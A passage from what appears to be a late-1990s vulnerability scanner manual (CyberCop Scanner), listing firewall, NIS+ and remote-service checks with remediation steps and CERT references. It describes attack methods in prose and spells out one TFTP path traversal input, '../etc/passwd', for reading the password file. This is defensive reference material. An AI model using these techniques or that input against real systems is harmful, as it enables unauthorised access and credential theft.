1512 wins 1513 fujitsu-dtc 1514 fujitsu-dtcn
1515 ifor-protoco 1516 vpad 1517 vpac
1518 vpvd 1519 vpvc 1520 atm-zip-offi
1521 ncube-lm 1522 rna-lm 1523 cichild-lm
1524 ingreslock 1525 prospero-np 1525 orasrv
1526 pdap-np 1527 tlisrv 1528 mciautoreg

1529 coauthor 1530 rap-service 1531 rap-listen
1532 miroconnect 1533 virtual-plac 1534 micromuse-lm
1535 ampr-info 1536 ampr-inter 1537 sdsc-lm
1538 3ds-lm 1539 intellistor- 1540 rds
1541 rds2 1542 gridgen-elmd 1543 simba-cs
1544 aspeclmd 1545 vistium-shar 1546 abbaccuray
1547 laplink 1548 axon-lm 1549 shivasound
1550 3m-image-lm 1551 hecmtl-db 1552 pciarray
1600 issd 1645 radius 1646 radacct
1650 nkd 1651 shiva_confsr 1652 xnmp
1661 netview-aix- 1662 netview-aix- 1663 netview-aix-
1664 netview-aix- 1665 netview-aix- 1666 netview-aix-
1667 netview-aix- 1668 netview-aix- 1669 netview-aix-
1670 netview-aix- 1671 netview-aix- 1672 netview-aix-
1986 licensedaemo 1987 tr-rsrb-p1 1988 tr-rsrb-p2
1989 tr-rsrb-p3 1989 mshnet 1990 stun-p1
1991 stun-p2 1992 stun-p3 1992 ipsendmsg
1993 snmp-tcp-por 1994 stun-port 1995 perf-port
1996 tr-rsrb-port 1997 gdp-port 1998 x25-svc-port
1999 tcp-id-port 2000 callbook 2001 wizard
2002 globe 2004 emce 2005 oracle
2006 raid-cc 2007 raid-am 2008 terminaldb
2009 whosockami 2010 pipe_server 2011 servserv
2012 raid-ac 2013 raid-cd 2014 raid-sf
2015 raid-cs 2016 bootserver 2017 bootclient
2018 rellpack 2019 about 2020 xinupageserv
2021 xinuexpansio 2022 xinuexpansio 2023 xinuexpansio
2024 xinuexpansio 2025 xribs 2026 scrabble
2027 shadowserver 2028 submitserver 2030 device2
2032 blackboard 2033 glogger 2034 scoremgr
2035 imsldoc 2038 objectmanage 2040 lam
2041 interbase 2042 isis 2043 isis-bcast
2044 rimsl 2045 cdfunc 2046 sdfunc
2048 dls-monitor 2049 nfsd 2049 shilp
2065 dlsrpn 2067 dlswpn 2201 ats
2232 ivs-video 2241 ivsd 2307 pehelp
2500 rtsserv 2501 rtsclient 2784 www-dev
3049 NSWS 3141 vmodem 3264 ccmail
3333 dec-notes 3455 rsvp-encap 3984 mapper-nodem
3985 mapper-mapet 3986 mapper-ws_et 3421 bmap
3455 prsvp 3456 vat 3457 vat-control
3900 udt_os 4008 netcheque 4045 lockd
4132 nuts_dem 4133 nuts_bootp 4321 rwhois
4343 unicall 4444 krb524 4444 nv-video
4500 sae-urn 4672 rfa 5000 commplex-mai
5001 commplex-lin 5002 rfe 5010 telelpathsta
5011 telelpathatt 5050 mmcc 5145 rmonitor_sec
5190 aol 5191 aol-1 5192 aol-2
5193 aol-3 5236 padl2sim 5300 hacl-hb
5301 hacl-gs 5302 hacl-cfg 5303 hacl-probe
5304 hacl-local 5305 hacl-test 5555 rplay
5713 proshareaudi 5714 prosharevide 5715 prosharedata
5716 prosharerequ 5717 prosharenoti 6110 softcm

6111 spc 6141 meta-corp 6142 aspentec-lm
6143 watershed-lm 6144 statsci1-lm 6145 statsci2-lm
6146 lonewolf-lm 6147 montage-lm 6148 ricardo-lm
6558 xdsxdm 6969 acmsoda 7000 afs3-fileser
7001 afs3-callbac 7002 afs3-prserve 7003 afs3-vlserve
7004 afs3-kaserve 7005 afs3-volser 7006 afs3-errors
7007 afs3-bos 7008 afs3-update 7009 afs3-rmtsys
7010 ups-onlinet 7100 font-service 7200 fodms
7201 dlip 9535 man 9876 sd
17007 isode-dua 18000 biimenu 47557 dbbrowse

Risk Factor: Medium
Ease of repair: N/A
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Configuration
Impact of Attack: Authorization

12024. Exhaustive TCP ports filter check

Verbose Description
This check attempts to determine which TCP ports are allowed to pass through your filtering device. This check attempts every TCP port, ranging from port 1 to port 65535.

Suggestions
Depending on which TCP ports you wish to allow incoming packets to, you should configure your packet filter appropriately. A common setup is to only allow outgoing connections through the filtering device, and deny any connections originating from the external network. Services which are allowed into your network should be kept to a bare minimum.

Risk Factor: Medium
Ease of repair: N/A
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Authorization

12025. Exhaustive UDP ports filter check

Verbose Description
This check attempts to discern which UDP ports are allowed to pass through your filtering device. This check will attempt every UDP port, ranging from port 1 to port 65535.

Suggestions
Depending on which UDP ports you wish to allow incoming packets to, you should configure your packet filter appropriately. With the exception of allowing UDP packets in to port 53 of your public DNS server, allowing UDP is a bad idea. Many SunRPC services listen on random UDP ports, and an attacker will be able to find them and exploit vulnerabilities if he can pass UDP packets in to your network.

Risk Factor: Medium
Ease of repair: N/A
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Configuration
Impact of Attack: Authorization

12027. 0 Length TCP options filter check

Verbose Description
This check tries to pass a TCP packet containing a TCP option whose length field is zero through your packet filter. Such packets are commonly used to crash Ascend and 3com routers.

Suggestions
You should block all packets with 0 length TCP options present if possible.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Authorization Availability

12028. 0 Length IP options filter check

Verbose Description
This check tries to pass an IPv4 IP packet with a malformed IP option through your filter. Such packets are known to crash some 3com routers and managed hubs.

Suggestions
We suggest that you block all packets with 0 length IP options from

entering your network if possible.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Authorization Availability

12029. Oversized Packet Filter Check

Verbose Description
This check tries to pass the last fragment of an oversized packet through your packet filter. Oversized packets are known to crash a wide variety of hosts and routers, causing them to reboot or lock up.

Suggestions
We suggest that you block oversized packets at your filtering device.

Risk Factor: High
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Authorization Availability

12030. Post-EOL TCP options check

Verbose Description
This check attempts to pass a TCP packet with options after the EOL through your packet filter. Correct TCP implementations will never look at these options, but not all implementations (such as the one in tcpdump 3.2.1 and earlier) are correct.

Suggestions
We suggest that you block such packets at your screening router, if possible.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation

Impact of Attack: Authorization Availability

12031. Post-EOL IP options check

Verbose Description
This check attempts to pass an IPv4 packet with options after the EOL through your packet filter. Correct IP implementations will never look at these options, but there is no way to be sure that all implementations are correct.

Suggestions
We suggest that you block such packets at your screening router, if possible. If not possible, blocking all packets with IP options set is a prefectly reasonable alternative.

Risk Factor: Low
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation

Impact of Attack: **Authorization**

13: FIREWALLS, FILTERS, AND PROXIES

13000. TCP sequence numbers are predictable

Verbose Description
The target host was found to be vulnerable to TCP sequence number prediction attacks. The host generates TCP sequence numbers in a pattern which can be guessed by an intruder to launch TCP spoofing based attacks.

Security Concerns
If the target host runs services which rely on the IP address of the client as an authentication mechanism, this service can be exploited by an attacker to mimic a legitimate host.

Suggestions
If your host is vulnerable to this attack we suggest that you ensure you are not relying on host based authentication for any network based services. These usually consist of the BSD derived "rsh" service and the "rlogin" service.

References
CERT Advisory CA-95:01.IP.spoofing
ftp://ftp.cert.org/pub/cert_advisories/CA-95:01.IP.spoofing
CIAC Advisory f-08.IP-spoof-hijacked-session
ftp://ciac.llnl.gov/pub/ciac/bulletin/f-fy95/f-08.IP-spoof-hijacked-session

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Accountability Authorization

13001. Livingston Portmaster fixed TCP ISN check

Verbose Description
This module checks if a Livingston Portmaster router is vulnerable to TCP sequence prediction attacks.
A router that is vulnerable to this attack is open to spoofing and TCP session hijacking attacks where the intruder can take over an established session and gain complete control of the router's configuration.

Livinston Portmaster routers are particularly vulnerable since they use the same fixed TCP initial sequence number for all TCP sessions.

Notice:

Certain versions of SCO Unix ship with a POP3 service enabled that is vulnerable to a similar serious problem, in which an attacker can exploit a buffer overflow triggered by any overly-large command. Because the test for this specific POP3 vulnerability involves the transmission of an extremely large POP command, this test may flag vulnerable SCO POP servers as well.

Security Concerns
Remote users can gain management capabilities on the router

Suggestions
Contact your vendor for a patch

References
CERT Advisory CA-95:01.IP.spoofing
ftp://ftp.cert.org/pub/cert_advisories/CA-95:01.IP.spoofing
CIAC Advisory f-08.IP-spoof-hijacked-session
ftp://ciac.llnl.gov/pub/ciac/bulletin/f-fy95/f-08.IP-spoof-hijacked-session
http://www.geek-girl.com/bugtraq/1998_2/0688.html

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity Authorization

13005. SOCK's configuration check

Verbose Description
This check attempts to access services through an incorrectly configured SOCKS proxy.

Suggestions
If your SOCKS server is vulnerable to this we suggest you reconfigure it to deny inbound traffic.

Risk Factor: High

Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Authorization

13011. Wingate POP3 proxy Username Overflow check

Verbose Description
Wingate POP3 proxy Username Overflow check

This module determines whether the remote POP3 server is vulnerable to a buffer overflow attack when parsing the user login name. By providing the daemon with a long username, an attacker can overflow the username buffer and cause the server to crash. It may be possible for an attacker to cause the server to run arbitrary programs by providing a carefully crafted username.

A vulnerable Wingate proxy will stop responding to legitimate clients after the attack is performed.

Security Concerns
Remote attackers can crash the Wingate proxy and may be able to cause it to run programs.

Suggestions
Upgrade to the latest version of Wingate

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity Availability

13012. IGMP host poll check

Verbose Description
This check attempts to gather a list of hostnames from routers which support Multicasting groups.

Suggestions
This type of attack is used to gather hostnames which lie behind firewalls. If possible, any routers serving this type of information should be protected by

filter sets.

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: Medium
Underlying Cause: Configuration
Impact of Attack: Intelligence

13013. Unpassworded WinGate Proxy Server

Verbose Description
WinGate is a proxy server for Windows environments. It allows multiple machines to share a single connection and IP address by proxying all requests through a single server. An unpassworded WinGate server can be used to launder connections for unauthorized and illegal network usage.

WinGate is exploited by connecting to the "telnet" port of the proxy server, and using the command-line interface to create a new outbound connection to an arbitrary address. This new connection can be used to attack other hosts.

Suggestions
Contact WinGate (information available at http://www.wingate.net) or use packet filters to restrict "telnet" access to WinGate servers.

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Configuration

Impact of Attack: **Accountability Authorization**

14: AUTHENTICATION MECHANISMS

14001. NIS+ Incorrect permissions on passwd.org_dir table

Verbose Description
The permissions on the passwd.org_dir table were found to be set incorrectly. In many cases the permissions on the default NIS+ installation are set incorrectly. This may allow unauthorized access to table information.

Security Concerns
Unauthorized users may be able to access or modify table entries to increase privilege.

Suggestions
Change the permissions on the passwd.org_dir table by executing the following commands on the root NIS+ server.

nischmod na-rmcd,og+rmcd passwd.org_dir

This command changes the permissions to allow the owner and group to read and modify entries, while preventing nobody and world access.

Ensure that changes are propagated to replica servers using the nisping utility.

References
CERT Advisory CA-96.10.nis+_configuration
ftp://ftp.cert.org/pub/cert_advisories/CA-96.10.nis+_configuration
AUSCERT Advisory AA-96.02.NIS+.Configuration.Vulnerability
ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-96.02.NIS+.Configuration.Vulnerability

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Configuration
Impact of Attack: Confidentiality Intelligence

14002. NIS+ Incorrect permissions on passwd.org_dir columns

Verbose Description

The permissions on the specific columns within the passwd.org_dir table were found to be set incorrectly. In many cases the permissions on the default NIS+ installation are set incorrectly. This may allow unauthorized access to table information.

Security Concerns
Unauthorized users may be able to access or modify table entries to increase privilege.

Suggestions
Change the permissions on the passwd.org_dir columns by executing the following commands on the root NIS+ server.

```
# nistbladm -u name=na-rmcd,n=r passwd.org_dir
# nistbladm -u passwd=na-rmcd,o=m passwd.org_dir
# nistbladm -u uid=na-rmcd,n=r passwd.org_dir
# nistbladm -u gid=na-rmcd,n=r passwd.org_dir
# nistbladm -u gcos=na-rmcd,n=r passwd.org_dir
# nistbladm -u home=na-rmcd,n=r passwd.org_dir
# nistbladm -u shell=na-rmcd,n=r passwd.org_dir
# nistbladm -u shadow=na-rmcd passwd.org_dir
```

This command changes the permissions on the specified columns within the passwd.org_dir table to the recommended settings.

Ensure that changes are propagated to replica servers using the nisping utility.

References
CERT Advisory CA-96.10.nis+_configuration
ftp://ftp.cert.org/pub/cert_advisories/CA-96.10.nis+_configuration
AUSCERT Advisory AA-96.02.NIS+.Configuration.Vulnerability
ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-96.02.NIS+.Configuration.Vulnerability

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Configuration
Impact of Attack: Confidentiality Intelligence

14003. NIS+ Incorrect permissions on passwd.org_dir entries

Verbose Description
The permissions on the specific entries within the passwd.org_dir table were found to be set incorrectly.

Security Concerns
Unauthorized users may be able to access or modify table entries to increase privilege.

Suggestions
To determine if your system is so affected, execute the following:

```
% niscat -o '[name=juke],passwd.org_dir' | egrep "Access"
```

If the output displays information similar to the following:

```
Access Rights : ----rmcdr---r---
                ^^^^
```

then the owner can read, modify, change, and delete information. The rights at this level should be more restrictive, and the individual rights on entries should be less restrictive. The less restrictive rights on entries allow a user to change their password entry, the GECOS field, and even the shell depending upon how the entry rights are set.

The output from the niscat above should look like the following:

```
Access Rights : ----r-----------
```

This allows only the user to read information from the password table. One way to determine which entries in the password table need to be changed is the following:

```
% niscat -o '[ ],passwd.org_dir' | egrep "Owner|rmc"
```

To fix the entries, use the following:

```
% nischmod o=r,ngw-rmdc '[ ],passwd.org_dir'
```

This sets the owner permissions to r (read) and removes all permissions from nobody, group, and world.

References
CERT Advisory CA-96.10.nis+_configuration
ftp://ftp.cert.org/pub/cert_advisories/CA-96.10.nis+_configuration
AUSCERT Advisory AA-96.02.NIS+.Configuration.Vulnerability
ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-96.02.NIS+.Configuration.Vulnerability

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Configuration

Impact of Attack: Confidentiality Intelligence

14004. NIS+ Security level retrieval

Verbose Description
This module prints out the security level which the NIS+ server on the target host is currently running at. NIS+ supports 3 different levels of security:

Level 0 : No access control whatsoever is performed
Level 1 : AUTH_SYS credentials are allowed, AUTH_SYS credentials are easily forged by users and should not be used.
Level 2 : Only AUTH_DES credentials are accepted. This should be the security level for normal operation.

Security Concerns
Determine that the security level is appropriate for your environment. Be aware, that if CyberCop Scanner is able to obtain the security level of the target server, so can any attacker. This information cannot currently be secured on NIS+ servers.

Risk Factor: Low
Ease of repair: N/A
Attack Popularity: Obscure
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Intelligence

14005. NIS+ Dangerous security level

Verbose Description
This module determines whether the target NIS+ server is running at a security level below 2. If the NIS+ server is running at any security level lower than 2, attackers can trivially modify and retrieve NIS+ information.

Security Concerns
Attackers can modify and retrieve NIS+ database information, leading to remote access and increased privilege.

Suggestions
The NIS+ server should be running in Security Level 2, which utilizes AUTH_DES credentials. This authentication method is cryptographically strong, while Security Levels 0 and 1 can be trivially circumvented.

Increase your servers security level by specifying the "-S 2" flag to the rpc.nisd daemon.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Obscure
Attack Complexity: Medium
Underlying Cause: Configuration
Impact of Attack: System Integrity Confidentiality Intelligence

14006. NIS+ Process ID gathering

Verbose Description
This module utilizes a feature of the NIS+ server, which allows remote users to determine whether a particular process ID is running on the target server.

Security Concerns
Remote users can determine wether particular process ID's are running on the target server. A secure service such as NIS+ should not present this information to remote users.

Risk Factor: Low
Ease of repair: Infeasable
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Intelligence

14007. NIS+ rpc.nisd remote buffer overflow

Verbose Description
The target host was found to be vulnerable to a buffer overflow vulnerability in the rpc.nisd RPC service. This service is present on workstations and servers running the Sun Microsystems Solaris operating system, and utilizing the NIS+ suite.

By sending data consisting of an abnormally long text string within a valid NIS+ RPC packet, an overflow within ths NIS+ server occurs. By sending correctly formed data, an attacker can exploit this buffer overflow to run commands on the target system.

WARNING: If enabled, this module will crash a vulnerable NIS+ server. If this module returns positive, ensure that you are prepared to restart this service.

Security Concerns
If exploited, this vulnerability allows an attacker to execute arbitrary commands as the super-user on the target system. This access provides an attacker with complete control over the target computer, allowing them to access all data contained on the system.

References
Sun has made the following patches availible to resolve this problem:

105401-12: Solaris 5.6
105402-12: Solaris 5.6_x86
103612-41: Solaris 5.5.1
103613-41: Solaris 5.5.1_x86
103187-38: Solaris 5.5
103188-38: Solaris 5.5_x86
101973-35: Solaris 5.4
101974-35: Solaris 5.4_x86

Sun Security Bulletin #00170
Sun security bulletins are available via World Wide Web at:
http://sunsolve.sun.com/pub-cgi/secbul.pl

CERT Advisory CA-98.06.nisd
ftp://ftp.cert.org/pub/cert_advisories/CA-98.06.nisd

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Implementation

Impact of Attack: **System Integrity**

15: GENERAL REMOTE SERVICES

15001. Open X Server check

Verbose Description
The X Windows server running on the target host was found to allow unrestricted access. Some operating systems are shipped without any access restrictions to the X Windows server.

Security Concerns
By being able to connect to the X Windows server on the target host, an attacker can monitor all keystrokes and windows on the target server. In addition to monitoring, the attacker can also inject keystrokes into the target X Windows server, allowing them to execute arbitrary commands on the host.

Suggestions
We suggest you review the security access control in your version of X windows and implement it. Determine the current access control setting on the vulnerable host via the following command:

xhost
access control disabled, clients can connect from any host

The setting shown above provides no access control, and allows any user to connect to the X Windows server. Enable access control via the following command:

xhost -
access control enabled, only authorized clients can connect

Now access control is enabled. To allow other hosts on your network to utilize your X Windows display, specifically allow access via the following command:

xhost +hostname

References
CIAC 2316 - Securing X Windows
ftp://ciac.llnl.gov/pub/ciac/ciacdocs/ciac2316.txt

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread

Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: System Integrity

15003. Xterm cookie guess check

Verbose Description
Some versions of X windows use MIT style magic cookies for authentication. However in some version of X these cookies are guessable, making your Xterm open to attack as if it had no access control whatsoever.

Suggestions
If this vulnerability is found we suggest you contact your vendor for a fix.

References
CERT Bulletin VB-95:08
ftp://ftp.cert.org/pub/cert_bulletins/VB-95:08.X_Authentication_Vul
CIAC Advisory g-04.XAuth.Vulnerability.asc
ftp://ciac.llnl.gov/pub/ciac/bulletin/g-fy96/g-04.XAuth.Vulnerability.asc
CIAC 2316 - Securing X Windows
ftp://ciac.llnl.gov/pub/ciac/ciacdocs/ciac2316.txt
SGI Advisory 19960601-01-I
ftp://sgigate.sgi.com/security/19960601-01-I

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

15004. Telnet LD_LIBRARY_PATH vulnerability

Verbose Description
The telnet daemon on the target host was found to be vulnerable to a security problem which may allow an attacker to obtain remote super-user access to the system.

Security Concerns
This vulnerability requires that an attacker is able to upload a file to the remote system (via an alternate method, such as FTP), or have access to a valid user account on the system. If this is the case, the attacker can upload a shared library file to the target system, and then, during initiation of a telnet connection, cause the login

program to use this library, instead of the system library. Since the login program is running as the super-user, any operations performed within the alternate shared library file are executing as the super-user access, allowing any commands to be executed, prior to logging in. The most common usage of this vulnerability is to execute a shell immediately upon connecting to the telnet daemon, which is run as the super-user.

Suggestions
It is recommended that you immediately disable the telnet service until a patched version is available.

References
CERT Advisory CA-95:14.Telnetd_Environment_Vulnerability
ftp://ftp.cert.org/pub/cert_advisories/CA-95:14.Telnetd_Environment_Vulnerability
CIAC Advisory g-01.Telnetd.Vulnerability.asc
ftp://ciac.llnl.gov/pub/ciac/bulletin/g-fy96/g-01.Telnetd.Vulnerability.asc
SGI Advisory 19951101-02
ftp://sgigate.sgi.com/security/19951101-02-p1010o1020

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

15005. POP shadowed password vulnerability

Verbose Description
The target host was found to be running a vulnerable version of the POP3 server for Linux. A known vulnerability in older Linux installations which also have the shadow password suite installed allowed an attacker to read any user's mail via the POP3 service.

Security Concerns
This vulnerability allows an attackers to read any arbitrary user's mail messages via the POP3 service.

Suggestions
It is recommended that you immediately disable the POP3 service and upgrade the target system to a newer version.

Risk Factor: Medium

Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: Confidentiality

15006. rlogin -froot check

Verbose Description
On some versions of AIX and Linux a remote user can gain root access by exploiting a problem in rlogind. This problem is a result of incorrectly parsing the parameters passed to the login program, which results in the attacker having the ability to login as the root user, without a password.

Suggestions
We suggest you upgrade your version of rlogind if you run Linux, or approach IBM for a patch if you run AIX.

References
CERT Advisory CA-94:09.bin.login.vulnerability
ftp://ftp.cert.org/pub/cert_advisories/CA-94:09.bin.login.vulnerability
CIAC Advisory e-26.ciac.unix-bin-login-vuln
ftp://ciac.llnl.gov/pub/ciac/bulletin/e-fy94/e-26.ciac.unix-bin-login-vuln

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

15007. Kerberos server check

Verbose Description
This check discerns whether a target Kerberos server (V4) can be coaxed into offering up valid ciphered passwords. Passwords encrypted under Kerberos (V4) can be decrypted much in the same way UNIX password files can.

This check assumes that the DNS domain name of the target is identical to the realm name of the Kerberos server running on the target, and will not function if this is not the case.

Suggestions
We suggest you either filter all out of net traffic your Kerberos server or

upgrade to ATHENA's most recent version of Kerberos.

Risk Factor: Medium
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Authorization

15008. UUCP service check

Verbose Description
This module discerns whether the UUCP service is offered on a host. Many network connected systems are shipped with the UUCP service enabled by default. This may open up potential security problems.

Suggestions
If you are not specifically using UUCP for mail delivery, it is highly recommended that this service be turned off.

This can be achieved by editing the file /etc/inetd.conf and placing a '#' character infront of the line:

```
uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/lib/uucp/uucico -l
```

Which should appear as follows when turned off:

```
#uucp stream tcp nowait uucp /usr/sbin/tcpd /usr/lib/uucp/uucico -l
```

After this has been performed, inetd will have to be restarted. This can be performed by finding the process ID of inetd, and sending it a -HUP signal from the command prompt:

```
kill -HUP PID
```

Risk Factor: Low
Ease of repair: Simple
Attack Popularity: Obscure
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Intelligence

15009. Open news server check

Verbose Description

This module checks to see if it can read or post news articles off your News Server. If this is possible, a remote user can poll your news feed causing a strain on your system resources. Moreover they can post erroneous information from your news server which may be embarrassing to your company image.

Suggestions
Most News Servers come with built in access control, we suggest you consult your manual and institute this feature.

Risk Factor: Medium
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: Confidentiality Data Integrity

15011. cfingerd (1) exploit check

Verbose Description
This module attempts to exploit a vulnerability in earlier versions of cfingerd for Linux, which could lead to root compromise. This bug is related to cfingerd parsing instructions from incoming fingers incorrectly.

Suggestions
Install the newest version of cfingerd.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: System Integrity

15014. Telnet RESOLV_HOST_CONF check

Verbose Description
Some telnet daemons will accept environment variables from remote telnet clients. Some of these variables include paths to system files. The vulnerability is present in your systems resolver library whereby a user can specify the location of a configuration file. If your host is vulnerable to this an intruder could read any file on your system by connecting to your telnet daemon.

Suggestions
We suggest you approach your vendor for a fixed telnet daemon.

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

15015. Radiusd overflow check

Verbose Description
Some versions of radiusd have a weakness whereby a buffer overflow can be exploited to gain a segfault in the daemon and perhaps execute arbitrary commands as root.

Suggestions
Install a new version of radiusd.

References
NAI Security Advisory #23
http://www.nai.com/products/security/advisory/23_radius_adv.asp

Risk Factor: Medium
Ease of repair: Moderate
Attack Popularity: Obscure
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

15020. Linux NIS+ account

Verbose Description
In the past installations of NIS+ on some Linux distributions were configured improperly in the /etc/passwd file. This inconsistency allowed for remote users to log in as '+'.

Suggestions
Delete the current entry and manually add it. When you have added it, reset the password with the passwd(1) command.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Widespread
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: System Integrity

15021. Hosts.equiv (+) check

Verbose Description
This module check's if your hosts.equiv is misconfigured with a '+' in it which would allow for users to rsh (or any other 'r' service for that matter) into your host.

Suggestions
Remove the + from your hosts.equiv.

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Configuration
Impact of Attack: System Integrity

15024. HP Remote Watch check

Verbose Description
This module determines whether your HP-UX system is vulnerable to a bug in the HP Remote Watch package whereby a remote user can easily obtain root access on your host.

Suggestions
This service is no longer supported by HP and should be disabled.

References
CERT Bulletin VB-96.20
ftp://ftp.cert.org/pub/cert_bulletins/VB-96.20.hp
AUSCERT Advisory AA-96.07.HP-UX.Remote.Watch.vul
ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-96.07.HP-UX.Remote.Watch.vul

Risk Factor: High
Ease of repair: Moderate

Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

15025. Kerberos user name gathering check

Verbose Description
This check attempts to coax usernames and the Kerberos realm from a Kerberos server. This allows users to match up usernamers with a list of gathered ciphered passwords which they could crack.

Suggestions
We suggest you either filter all out of net traffic from your Kerberos server or upgrade to ATHENA's most recent version of Kerberos.

Risk Factor: Medium
Ease of repair: Difficult
Attack Popularity: Obscure
Attack Complexity: High
Underlying Cause: Implementation
Impact of Attack: Intelligence

15026. Linux TFTP (Trivial File Transfer Protocol) check

Verbose Description
This module checks for a faulty access control implementation in Linux versions of the tftp daemon. Most current tftpd implementations attempt to restrict access to files outside of the tftproot directory. The Linux implementations disallow any files with /../ in their pathnames, however one can still access files such as /etc/passwd by prepending ../ infront of the pathname (../etc/passwd). This will work since the current directory for tftpd is usually /ftpchroot.

Security Concerns
Linux TFTP will allow remote users to access critical system files such as the password file.

Suggestions
If you have no need to run TFTP then disable it from /etc/inetd.conf.
If you need to run tftp, upgrade to a newer release of the tftp daemon, availible from Linux distribution sites.

References
CERT Advisory CA-91:18.Active.Internet.tftp.Attacks

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Low
Underlying Cause: Implementation
Impact of Attack: Confidentiality Intelligence

15027. IMAP and POP buffer overflow check

Verbose Description
Several versions of both IMAP and POP servers which provide remote mail management contain a serious vulnerability. This check determines whether your IMAP daemon is vulnerable to a buffer overflow which allows users to execute arbitrary commands on your server. This vulnerability allows users to execute commands remotely as root.

Security Concerns
Remote users can gain unauthorized root access to your servers.

Suggestions
Install imapd version 4.1 or later. The primary distribution site for imapd is ftp://ftp.cac.washington.edu/mail.

References
NAI Security Advisory #21
http://www.nai.com/products/security/advisory/21_imap_adv.asp
CERT Advisory CA-97.09.imap.pop
ftp://ftp.cert.org/pub/cert_advisories/CA-97.09.imap.pop
SGI Advisory 19980302-01-I
ftp://sgigate.sgi.com/security/19980302-01-I

Risk Factor: High
Ease of repair: Simple
Attack Popularity: Popular
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

15028. INN control message check

Verbose Description
This check determines whether your version of INN is vulnerable to a problem which allows remote users to execute commands on your news server. This can be done by feeding your news server control messages with shell escape characters in them, causing INN to execute commands.

This test attempts to determine your INN version number. INN versions earlier than 1.5.1 have a number of problems with their parsing of control messages, resulting in information from message headers being passed to a shell.

Security Concerns
Running an outdated INN version makes it possible for attackers to remotely execute arbitrary commands on your news server, even if they cannot read messages or post messages.

Suggestions
Upgrade to INN 1.6 or newer.
The INN distribution is availible at ftp://ftp.isc.org/pub/isc/inn.

References
CERT Advisory CA-97.08.innd
ftp://ftp.cert.org/pub/cert_advisories/CA-97.08.innd
AUSCERT Advisory AA-96.19.INN.parsecontrol.vul
ftp://ftp.auscert.org.au/pub/auscert/advisory/AA-96.19.INN.parsecontrol.vul

Risk Factor: High
Ease of repair: Moderate
Attack Popularity: Widespread
Attack Complexity: Medium
Underlying Cause: Implementation
Impact of Attack: System Integrity

15029. INN nnrpd buffer overflow

Verbose Description
This check determines whether your new server is vulnerable to a buffer overflow present in the nnrpd program. The nnrpd program is run by the INN news server software to handle the reading and posting of usenet articles by users. A vulnerability in this program can allow remote users to execute arbitrary commands on your news server.

Security Concerns
Users can execute arbitrary commands on your news server, gaining remote shell access to your news server.

Suggestions
Upgrade to INN version 1.6 or newer.
The INN distribution is availible at ftp://ftp.isc.org/pub/isc/inn.

References
NAI Security Advisory #17
http://www.nai.com/products/security/advisory/17_inn_avd.asp

Risk Factor: High
Ease of repair: Moderate
